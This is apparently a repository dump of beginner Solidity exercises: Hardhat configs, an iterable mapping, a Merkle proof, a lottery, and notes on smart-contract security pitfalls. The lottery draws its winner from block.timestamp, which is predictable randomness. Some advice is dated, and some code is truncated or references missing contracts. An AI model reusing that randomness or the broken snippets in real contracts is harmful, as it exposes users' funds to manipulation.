ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /ico/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2017", 4 | "module": "commonjs", 5 | "declaration": true, 6 | "declarationMap": true, 7 | "sourceMap": true, 8 | "outDir": "./dist", 9 | "strict": true, 10 | "rootDirs": ["./src", "./scripts", "./test"], 11 | "esModuleInterop": true 12 | }, 13 | "exclude": ["dist", "node_modules"], 14 | "include": ["./test", "./src", "./scripts"], 15 | "files": ["./hardhat.config.ts"] 16 | } -------------------------------------------------------------------------------- /iterable_mapping/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /iterable_mapping/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | typechain -------------------------------------------------------------------------------- /iterable_mapping/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 2, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /iterable_mapping/contracts/IterableMapping.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.7; 2 | 3 | import "@openzeppelin/contracts/access/Ownable.sol"; 4 | import "hardhat/console.sol"; 5 | 6 | library IterableMapping { 7 | // iterable mapping of address to uint 8 | struct Map { 9 | address[] keys; 10 | mapping(address => uint256) values; 11 | mapping(address => bool) includes; 12 | mapping(address => uint256) indexes; 13 | } 14 | 15 | function set( 16 | Map storage map, 17 | address key, 18 | uint256 value 19 | ) public { 20 | if (map.includes[key]) { 21 | map.values[key] = value; 22 | } else { 23 | map.values[key] = value; 24 | map.includes[key] = true; 25 | map.indexes[key] = map.keys.length; 26 | map.keys.push(key); 27 | } 28 | } 29 | 30 | function get(Map storage map, address key) public view returns (uint256) { 31 | return map.values[key]; 32 | } 33 | 34 | function getKeyAtIndex(Map storage map, uint256 index) public view returns (address) { 35 | return map.keys[index]; 36 | } 37 | 38 | function size(Map storage map) public view returns (uint256) { 39 | return map.keys.length; 40 | } 41 | 42 | function remove(Map storage map, address keyToRemove) public { 43 | address lastKey = map.keys[map.keys.length - 1]; 44 | 45 | uint256 indexToReassign = map.indexes[keyToRemove]; 46 | map.keys[indexToReassign] = lastKey; 47 | map.indexes[lastKey] = indexToReassign; 48 | 49 | map.keys.pop(); 50 | delete map.values[keyToRemove]; 51 | delete map.includes[keyToRemove]; 52 | delete map.indexes[keyToRemove]; 53 | } 54 | } 55 | 56 | contract TestIterableMappping { 57 | using IterableMapping for IterableMapping.Map; 58 | 59 | IterableMapping.Map private map; 60 | 61 | function testIterableMap() public { 62 | map.set(address(0), 0); 63 | map.set(address(1), 100); 64 | map.set(address(2), 200); // insert 65 | map.set(address(2), 200); // update 66 | map.set(address(3), 300); 67 | 68 | for (uint256 i = 0; i < map.size(); i++) { 69 | address key = map.getKeyAtIndex(i); 70 | 71 | assert(map.get(key) == i * 100); 72 | } 73 | 74 | map.remove(address(1)); 75 | 76 | // keys = [address(0), address(3), address(2)] 77 | assert(map.size() == 3); 78 | assert(map.getKeyAtIndex(0) == address(0)); 79 | assert(map.getKeyAtIndex(1) == address(3)); 80 | assert(map.getKeyAtIndex(2) == address(2)); 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /iterable_mapping/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { config as dotenvConfig } from "dotenv"; 2 | import "@typechain/hardhat"; 3 | import "@nomiclabs/hardhat-ethers"; 4 | import "@nomiclabs/hardhat-waffle"; 5 | import "@nomiclabs/hardhat-etherscan"; 6 | import "solidity-coverage"; 7 | import "hardhat-gas-reporter"; 8 | import { HardhatUserConfig } from "hardhat/types/config"; 9 | 10 | dotenvConfig(); 11 | 12 | const gasPrice = parseInt(process.env.GAS_PRICE || "1000000000"); 13 | 14 | const config: HardhatUserConfig = { 15 | solidity: { 16 | compilers: [ 17 | { 18 | version: "0.8.10", 19 | settings: { 20 | optimizer: { 21 | enabled: true, 22 | runs: 200, 23 | }, 24 | }, 25 | }, 26 | ], 27 | }, 28 | networks: { 29 | hardhat: { 30 | initialBaseFeePerGas: 0, 31 | }, 32 | rinkeby: { 33 | url: process.env.RINKEBY_URL || "", 34 | accounts: 35 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 36 | gasPrice, 37 | }, 38 | mainnet: { 39 | url: process.env.MAINNET_URL || "", 40 | accounts: 41 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 42 | gasPrice, 43 | }, 44 | }, 45 | gasReporter: { 46 | enabled: process.env.REPORT_GAS !== undefined, 47 | currency: "USD", 48 | gasPrice: 120, 49 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 50 | }, 51 | etherscan: { 52 | apiKey: process.env.ETHERSCAN_API_KEY, 53 | }, 54 | }; 55 | 56 | export default config; 57 | -------------------------------------------------------------------------------- /iterable_mapping/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "@openzeppelin/contracts": "^4.3.2" 5 | }, 6 | "devDependencies": { 7 | "@nomiclabs/hardhat-ethers": "^2.0.0", 8 | "@nomiclabs/hardhat-etherscan": "^2.1.3", 9 | "@nomiclabs/hardhat-waffle": "^2.0.0", 10 | "@typechain/ethers-v5": "^7.1.2", 11 | "@typechain/hardhat": "^2.3.0", 12 | "@types/chai": "^4.2.22", 13 | "@types/mocha": "^9.0.0", 14 | "@types/node": "^16.10.2", 15 | "@typescript-eslint/eslint-plugin": "^4.33.0", 16 | "@typescript-eslint/parser": "^4.33.0", 17 | "chai": "^4.2.0", 18 | "dotenv": "^10.0.0", 19 | "eslint": "^7.29.0", 20 | "eslint-config-prettier": "^8.3.0", 21 | "eslint-config-standard": "^16.0.3", 22 | "eslint-plugin-import": "^2.23.4", 23 | "eslint-plugin-node": "^11.1.0", 24 | "eslint-plugin-prettier": "^3.4.0", 25 | "eslint-plugin-promise": "^5.1.0", 26 | "ethereum-waffle": "^3.0.0", 27 | "ethers": "^5.0.0", 28 | "hardhat": "^2.6.4", 29 | "hardhat-gas-reporter": "^1.0.4", 30 | "keccak256": "^1.0.3", 31 | "merkletreejs": "^0.2.24", 32 | "prettier": "^2.3.2", 33 | "prettier-plugin-solidity": "^1.0.0-beta.13", 34 | "solhint": "^3.3.6", 35 | "solhint-plugin-prettier": "^0.0.5", 36 | "solidity-coverage": "^0.7.16", 37 | "ts-node": "^10.2.1", 38 | "typechain": "^5.1.2", 39 | "typescript": "^4.4.3" 40 | }, 41 | "scripts": { 42 | "test": "nodemon -e ts,sol --exec hh test" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /iterable_mapping/test/iterable_mapping_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { Contract } from "ethers"; 4 | import { ethers } from "hardhat"; 5 | import { TestIterableMappping } from "../typechain"; 6 | 7 | describe("IterableMapping", function () { 8 | let contract: TestIterableMappping; 9 | let signer: SignerWithAddress; 10 | 11 | beforeEach(async () => { 12 | // Store signer 13 | signer = (await ethers.getSigners())[0]; 14 | 15 | // Deploy contact 16 | const library = await ( 17 | await ethers.getContractFactory("IterableMapping") 18 | ).deploy(); 19 | contract = await ( 20 | await ethers.getContractFactory("TestIterableMappping", { 21 | libraries: { IterableMapping: library.address }, 22 | }) 23 | ).deploy(); 24 | await contract.deployed(); 25 | }); 26 | 27 | describe("testIterableMap()", function () { 28 | it("doesnt revert", async () => { 29 | const tx = await contract.testIterableMap(); 30 | await tx.wait(); 31 | }); 32 | }); 33 | }); 34 | -------------------------------------------------------------------------------- /iterable_mapping/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /iterable_mapping/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "noImplicitAny": true, 7 | "esModuleInterop": true, 8 | "resolveJsonModule": true, 9 | "useUnknownInCatchVariables": false, 10 | "outDir": "dist" 11 | }, 12 | "include": ["./scripts", "./test", "./typechain", "./helpers"], 13 | "files": ["./hardhat.config.ts"] 14 | } 15 | -------------------------------------------------------------------------------- /language/01_data_types.sol: -------------------------------------------------------------------------------- 1 | contract DataTypes { 2 | enum Name { 3 | item1, 4 | item2 5 | } 6 | 7 | struct Person { 8 | string name; 9 | uint256 age; 10 | } 11 | 12 | constructor() { 13 | uint256 aUint = 123; 14 | bool aBool = false; 15 | ufixed32x4 aFixed = 1000.1234; 16 | address anAddress = 0x1234512345123451234512345123451234512345; 17 | bytes2 aBytes = "12"; 18 | bytes memory aString = "hello world"; 19 | uint256 timeToParty = 2 days; 20 | uint256 someEther = 0.1 ether; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /language/02_global_variables_and_functions.sol: -------------------------------------------------------------------------------- 1 | contract DataTypes { 2 | function foo() public payable { 3 | // Message context. Message can be started by EOA or contract 4 | msg.sender; // caller EOA address or contact addres 5 | msg.value; // value in ether sent in call 6 | gasleft(); // remaining gas supply 7 | msg.data; // call data payload 8 | msg.sig; // first four bytes of payload, function selector 9 | 10 | // Transaction context. Transaction is started by EOA 11 | tx.gasprice; // gas price 12 | tx.origin; // EOA address that originated the call chain. UNSAFE 13 | 14 | // Block context. Information about current block 15 | blockhash(block.number - 1); // function for getting block hash. parameter is up to 256 block hashes in the past 16 | block.coinbase; // miner address of current block (will receive fee and reward) 17 | block.difficulty; // difficulty of PoW 18 | block.gaslimit; // max amt of gas that can be spent by all txns on current block 19 | block.number; 20 | block.timestamp; // placed by the miner. epoch seconds 21 | 22 | // Address methods 23 | address myAddress = 0x1234567890123456789012345678901234567890; 24 | myAddress.balance; // Balance in wei 25 | address(this).balance; // current contracts balance 26 | payable(myAddress).transfer(123); // Transfer from contract to address. throws EXCEPTION on failure 27 | payable(myAddress).send(123); // Transfer from contract to address. returns FALSE on failure 28 | myAddress.call(""); // low level call function. returns FALSE on error. recipient can use up all your gas 29 | myAddress.delegatecall(""); // call another contract with current msg 30 | 31 | // Built-in functions 32 | addmod(123, 435, 13); // (a + b) % c // with arbitrary precision on the sum 33 | mulmod(123, 435, 13); // (a * b) % c // with arbitrary precision on the sum 34 | keccak256("asdsa"); 35 | sha256("asdsa"); 36 | ripemd160("asdsa"); 37 | selfdestruct(payable(myAddress)); // Suicides and sends remaining ether 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /language/03_functions.txt: -------------------------------------------------------------------------------- 1 | Function visibility: 2 | public 3 | can be called by eoa, contracts or the contract itself 4 | external 5 | cannot be called by the contract, except prefixing with this 6 | internal 7 | can only be called by the contract or inheritors 8 | private 9 | can only be called by the contract 10 | 11 | Function behavior: 12 | constant or view 13 | doesnt modify any state 14 | pure 15 | doesnt read or write state. operates only on arguments (functional) 16 | payable 17 | can accept payments. others will reject them (except selfdestruct and coinbase payments) 18 | 19 | Constructor 20 | runs only once, when contract is created; runs in the same transaction 21 | -------------------------------------------------------------------------------- /language/04_calling_other_contracts.sol: -------------------------------------------------------------------------------- 1 | // 1) by creating them 2 | import "../faucet/contracts/Faucet.sol"; 3 | 4 | contract Token is mortal { 5 | Faucet _faucet; 6 | 7 | constructor() { 8 | _faucet = new Faucet(); 9 | _faucet = (new Faucet).value(0.1 ether)(); // Fund it initially 10 | } 11 | } 12 | 13 | // 2) by addressing them 14 | 15 | contract Token2 is mortal { 16 | Faucet _faucet; 17 | 18 | constructor(address faucetAddress) { 19 | _faucet = Faucet(faucetAddress); 20 | _faucet.withdraw(0.1 ether); // can call functions directly 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /language/05_call_and_delegatecall.txt: -------------------------------------------------------------------------------- 1 | call 2 | - low-level contract function call 3 | - returns boolean. check ! 4 | - no guarantee you are actually calling a contract address 5 | - creates a new msg/context 6 | 7 | delegatecall 8 | - low-level 9 | - executes the given contract function without creating a new msg context 10 | - it has access to caller's state and context (this == caller) 11 | 12 | libraries 13 | - all function calls to libraries are delegatecalls -------------------------------------------------------------------------------- /language/06_security_practices.txt: -------------------------------------------------------------------------------- 1 | Defensive programming 2 | minimalism: as less LOC as possible 3 | code reuse: use libraries and dont duplicate your local code 4 | code quality: deploying smart contract = launching rocket to space 5 | readability/auditability 6 | test coverage: aim for 100% 7 | 8 | Reentrancy 9 | Vulnerability when a caller contract sends ether to unknown addresses. 10 | A fallback function on the called contract can re-call the caller 11 | 12 | How to deal with it: 13 | 1 - Use built-in transfer function instead of call 14 | 2 - dont be an idiot, first reduce the balance and then send the ether 15 | 3 - use a mutex 16 | 17 | Arithmetic 18 | underflow: unsigned 0 - 1 = a lot 19 | overflow = unsigned a lot + 1 = 0 ; signed a lot + 1 = negative a lot 20 | 21 | solution: use SafeMath from OpenZeppelin 22 | 23 | Unexpected ether 24 | - arises when a contract makes the assumption that any ether received would pass through code (payable function) 25 | - this is not the case. examples: 26 | - selfdestruct receiver: a contract can send another contract ether, and this doesnt call any functions (not even fallback) 27 | - pre-sent ether: address generation is deterministic (creator address + nonce). you can calculate, send ether, then deploy 28 | Solution: 29 | - dont have exact expectations on this.balance 30 | - use a separate variable for received ether. this is not modified by forceful sends 31 | 32 | delegatecall 33 | - it preserves the context and storage slots from the calling contract 34 | - so the called contract can overwrite the caller's state 35 | Measures: 36 | - use the library keyword. forbids state and prevents self-destruct 37 | 38 | Default visibility 39 | - functions are by default public, so double check 40 | 41 | Entropy Illusion 42 | - difficulty to have randomness 43 | - depending on future block variables has the miner tamper issue 44 | approaches: 45 | - for peer-to-peer bet, use commit-reveal technique with stake < block reward 46 | - check ranDAO 47 | 48 | Referencing external contracts 49 | - it is dangerous to pass addresses to external contacts in functions/contructor 50 | - it is better to hardcode their addresses, or create a new instance by deploying it together with the caller contract 51 | 52 | Short address/parameter attack 53 | - when interacting with contracts from outside, you have to form the ABI payload 54 | - addresses are padded with 0 at the end if they are not 20 bytes 55 | - then the ABI can be different than expected if you don't validate the address length externally -------------------------------------------------------------------------------- /lottery/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /lottery/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | -------------------------------------------------------------------------------- /lottery/contracts/Lottery.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity >=0.7.0; 4 | 5 | import "@openzeppelin/contracts/access/Ownable.sol"; 6 | import "hardhat/console.sol"; 7 | 8 | contract Lottery is Ownable { 9 | uint256 public constant minParticipants = 2; 10 | uint256 public constant maxParticipants = 10; 11 | 12 | address payable[] public participants; 13 | address payable public lastWinner; 14 | 15 | function participate() external payable { 16 | require(msg.value == 0.1 ether, "ticket cost is 0.1 eth"); // 0.1 eth 17 | require( 18 | participants.length < maxParticipants, 19 | "max participants reached for this round" 20 | ); 21 | 22 | participants.push(payable(msg.sender)); 23 | } 24 | 25 | function execute() external onlyOwner { 26 | require( 27 | participants.length >= minParticipants, 28 | "need more participants" 29 | ); 30 | 31 | uint256 randomNumber = uint256(keccak256(abi.encode(block.timestamp))); 32 | uint256 winnerIndex = randomNumber % participants.length; 33 | lastWinner = participants[winnerIndex]; 34 | lastWinner.transfer(address(this).balance); 35 | delete participants; 36 | } 37 | 38 | function participantsCount() external view returns (uint256) { 39 | return participants.length; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /lottery/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | 4 | import dotenv from 'dotenv' 5 | dotenv.config() 6 | 7 | // This is a sample Hardhat task. To learn how to create your own go to 8 | // https://hardhat.org/guides/create-task.html 9 | task("accounts", "Prints the list of accounts", async (args, hre) => { 10 | const accounts = await hre.ethers.getSigners(); 11 | 12 | for (const account of accounts) { 13 | console.log(await account.address); 14 | } 15 | }); 16 | 17 | // You need to export an object to set up your config 18 | // Go to https://hardhat.org/config/ to learn more 19 | 20 | export default { 21 | solidity: "0.8.7", 22 | networks: { 23 | ropsten: { 24 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 25 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 26 | }, 27 | }, 28 | }; 29 | -------------------------------------------------------------------------------- /lottery/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "@nomiclabs/hardhat-ethers": "^2.0.2", 5 | "@nomiclabs/hardhat-waffle": "^2.0.1", 6 | "@types/chai": "^4.2.21", 7 | "@types/mocha": "^9.0.0", 8 | "@types/node": "^16.7.1", 9 | "chai": "^4.3.4", 10 | "dotenv": "^10.0.0", 11 | "ethereum-waffle": "^3.4.0", 12 | "ethers": "^5.4.5", 13 | "hardhat": "^2.6.1", 14 | "ts-node": "^10.2.1", 15 | "typescript": "^4.3.5" 16 | }, 17 | "dependencies": { 18 | "@openzeppelin/contracts": "^4.3.1", 19 | "openzeppelin-solidity": "^4.3.1", 20 | "solc": "^0.8.7" 21 | }, 22 | "scripts": { 23 | "test": "nodemon -e ts,sol --exec hh test" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /lottery/scripts/deploy.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | 3 | async function main() { 4 | const [deployer] = await ethers.getSigners(); 5 | 6 | console.log("Deploying contracts with the account:", deployer.address); 7 | 8 | console.log("Account balance:", (await deployer.getBalance()).toString()); 9 | 10 | const factory = await ethers.getContractFactory("ArmanToken"); 11 | const contract = await factory.deploy(100000); 12 | 13 | console.log("Contract address:", contract.address); 14 | } 15 | 16 | main() 17 | .then(() => process.exit(0)) 18 | .catch((error) => { 19 | console.error(error); 20 | process.exit(1); 21 | }); 22 | -------------------------------------------------------------------------------- /lottery/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "esModuleInterop": true, 7 | "outDir": "dist" 8 | }, 9 | "include": ["./scripts", "./test"], 10 | "files": ["./hardhat.config.ts"] 11 | } 12 | -------------------------------------------------------------------------------- /merkle_tree/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /merkle_tree/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | typechain -------------------------------------------------------------------------------- /merkle_tree/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 2, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /merkle_tree/contracts/MerkleProof.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.7; 2 | 3 | import "hardhat/console.sol"; 4 | 5 | contract MerkleProof { 6 | function verify( 7 | bytes32[] memory proof, 8 | bytes32 root, 9 | bytes32 leaf, 10 | uint256 index 11 | ) public pure returns (bool) { 12 | bytes32 hash = leaf; 13 | for (uint256 i = 0; i < proof.length; i++) { 14 | bytes32 proofElement = proof[i]; 15 | if (index % 2 == 0) { 16 | hash = keccak256(abi.encodePacked(hash, proofElement)); 17 | } else { 18 | hash = keccak256(abi.encodePacked(proofElement, hash)); 19 | } 20 | 21 | index = index / 2; 22 | } 23 | 24 | return hash == root; 25 | } 26 | } 27 | 28 | contract TestMerkleProof is MerkleProof { 29 | bytes32[] public hashes; 30 | 31 | constructor() { 32 | string[4] memory transactions = ["transaction 1", "transaction 2", "transaction 3", "transaction 4"]; 33 | 34 | for (uint256 i = 0; i < transactions.length; i++) { 35 | hashes.push(keccak256(abi.encodePacked(transactions[i]))); 36 | } 37 | 38 | uint256 n = transactions.length; 39 | uint256 offset = 0; 40 | 41 | while (n > 0) { 42 | for (uint256 i = 0; i < n - 1; i += 2) { 43 | hashes.push(keccak256(abi.encodePacked(hashes[offset + i], hashes[offset + i + 1]))); 44 | } 45 | offset += n; 46 | n = n / 2; 47 | } 48 | } 49 | 50 | function getRoot() public view returns (bytes32) { 51 | return hashes[hashes.length - 1]; 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /merkle_tree/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { config as dotenvConfig } from "dotenv"; 2 | import "@typechain/hardhat"; 3 | import "@nomiclabs/hardhat-ethers"; 4 | import "@nomiclabs/hardhat-waffle"; 5 | import "@nomiclabs/hardhat-etherscan"; 6 | import "solidity-coverage"; 7 | import "hardhat-gas-reporter"; 8 | import { HardhatUserConfig } from "hardhat/types/config"; 9 | 10 | dotenvConfig(); 11 | 12 | const gasPrice = parseInt(process.env.GAS_PRICE || "1000000000"); 13 | 14 | const config: HardhatUserConfig = { 15 | solidity: { 16 | compilers: [ 17 | { 18 | version: "0.8.10", 19 | settings: { 20 | optimizer: { 21 | enabled: true, 22 | runs: 200, 23 | }, 24 | }, 25 | }, 26 | ], 27 | }, 28 | networks: { 29 | hardhat: { 30 | initialBaseFeePerGas: 0, 31 | }, 32 | rinkeby: { 33 | url: process.env.RINKEBY_URL || "", 34 | accounts: 35 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 36 | gasPrice, 37 | }, 38 | mainnet: { 39 | url: process.env.MAINNET_URL || "", 40 | accounts: 41 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 42 | gasPrice, 43 | }, 44 | }, 45 | gasReporter: { 46 | enabled: process.env.REPORT_GAS !== undefined, 47 | currency: "USD", 48 | gasPrice: 120, 49 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 50 | }, 51 | etherscan: { 52 | apiKey: process.env.ETHERSCAN_API_KEY, 53 | }, 54 | }; 55 | 56 | export default config; 57 | -------------------------------------------------------------------------------- /merkle_tree/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "@openzeppelin/contracts": "^4.3.2" 5 | }, 6 | "devDependencies": { 7 | "@nomiclabs/hardhat-ethers": "^2.0.0", 8 | "@nomiclabs/hardhat-etherscan": "^2.1.3", 9 | "@nomiclabs/hardhat-waffle": "^2.0.0", 10 | "@typechain/ethers-v5": "^7.1.2", 11 | "@typechain/hardhat": "^2.3.0", 12 | "@types/chai": "^4.2.22", 13 | "@types/mocha": "^9.0.0", 14 | "@types/node": "^16.10.2", 15 | "@typescript-eslint/eslint-plugin": "^4.33.0", 16 | "@typescript-eslint/parser": "^4.33.0", 17 | "chai": "^4.2.0", 18 | "dotenv": "^10.0.0", 19 | "eslint": "^7.29.0", 20 | "eslint-config-prettier": "^8.3.0", 21 | "eslint-config-standard": "^16.0.3", 22 | "eslint-plugin-import": "^2.23.4", 23 | "eslint-plugin-node": "^11.1.0", 24 | "eslint-plugin-prettier": "^3.4.0", 25 | "eslint-plugin-promise": "^5.1.0", 26 | "ethereum-waffle": "^3.0.0", 27 | "ethers": "^5.0.0", 28 | "hardhat": "^2.6.4", 29 | "hardhat-gas-reporter": "^1.0.4", 30 | "keccak256": "^1.0.3", 31 | "merkletreejs": "^0.2.24", 32 | "prettier": "^2.3.2", 33 | "prettier-plugin-solidity": "^1.0.0-beta.13", 34 | "solhint": "^3.3.6", 35 | "solhint-plugin-prettier": "^0.0.5", 36 | "solidity-coverage": "^0.7.16", 37 | "ts-node": "^10.2.1", 38 | "typechain": "^5.1.2", 39 | "typescript": "^4.4.3" 40 | }, 41 | "scripts": { 42 | "test": "nodemon -e ts,sol --exec hh test" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /merkle_tree/test/merkle_proof_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { Contract } from "ethers"; 4 | import { ethers } from "hardhat"; 5 | import { MerkleProof, TestMerkleProof } from "../typechain"; 6 | 7 | describe("MerkleProof", function () { 8 | let contract: TestMerkleProof; 9 | let signer: SignerWithAddress; 10 | 11 | beforeEach(async () => { 12 | // Store signer 13 | signer = (await ethers.getSigners())[0]; 14 | 15 | // Deploy contact 16 | contract = await ( 17 | await ethers.getContractFactory("TestMerkleProof") 18 | ).deploy(); 19 | await contract.deployed(); 20 | }); 21 | 22 | describe("getRoot", function () { 23 | it("gets the merkle roof", async () => { 24 | expect(await contract.getRoot()).to.equal( 25 | "0x6ea2dc0101dc1558f3019142709d7edcefbc8b26ba9708b2c6d65713e5cf27c3" 26 | ); 27 | }); 28 | }); 29 | }); 30 | -------------------------------------------------------------------------------- /merkle_tree/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /merkle_tree/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "noImplicitAny": true, 7 | "esModuleInterop": true, 8 | "resolveJsonModule": true, 9 | "useUnknownInCatchVariables": false, 10 | "outDir": "dist" 11 | }, 12 | "include": ["./scripts", "./test", "./typechain", "./helpers"], 13 | "files": ["./hardhat.config.ts"] 14 | } 15 | -------------------------------------------------------------------------------- /misc/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /misc/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | -------------------------------------------------------------------------------- /misc/contracts/Arrays.sol: 